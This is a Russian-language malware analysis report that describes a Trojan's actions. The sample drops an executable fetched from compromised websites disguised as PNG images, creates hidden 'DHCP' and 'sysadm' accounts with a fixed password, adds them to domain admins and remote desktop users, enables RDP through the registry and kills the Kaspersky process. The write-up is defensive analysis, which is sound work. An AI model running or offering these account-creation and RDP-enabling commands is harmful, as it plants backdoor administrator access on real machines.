Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\winl32.exe'
- '%TEMP%\winl32.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '<SYSTEM32>\net1.exe' group "domain admins" DHCP /add
- '<SYSTEM32>\net1.exe' localgroup "remote desktop users" DHCP /add
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s DHCP /add
- '<SYSTEM32>\net1.exe' user DHCP /active:yes
- '<SYSTEM32>\reg.exe' add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnections /t reg_dword /d 0 /f
- '<SYSTEM32>\net1.exe' user DHCP h3lp_desk
- '<SYSTEM32>\net1.exe' user DHCP /expires:never
- '<SYSTEM32>\net1.exe' user DHCP h3lp_desk /expires:never /add
- '<SYSTEM32>\net1.exe' localgroup "remote desktop users" sysadm /add
- '<SYSTEM32>\net1.exe' localgroup %USERNAME%s sysadm /add
- '<SYSTEM32>\net1.exe' user sysadm h3lp_desk /expires:never /add
- '<SYSTEM32>\net1.exe' group "domain admins" sysadm /add
- '<SYSTEM32>\net1.exe' user sysadm h3lp_desk
- '<SYSTEM32>\net1.exe' user sysadm /expires:never
- '<SYSTEM32>\net1.exe' user sysadm /active:yes
Завершает или пытается завершить
следующие пользовательские процессы:
- AVP.EXE
Изменения в файловой системе:
Создает следующие файлы:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\swsoft[1].png
- %TEMP%\winl32.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\logo10[1].png
- %TEMP%\craft.ini
Сетевая активность:
Подключается к:
- 'sn#p.jp':80
- 'fo#####travel.com.my':80
TCP:
Запросы HTTP GET:
- sn#p.jp/wordpress/wp-admin/images/swsoft.png
- fo#####travel.com.my/images/logo10.png
UDP:
- DNS ASK sn#p.jp
- DNS ASK fo#####travel.com.my
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
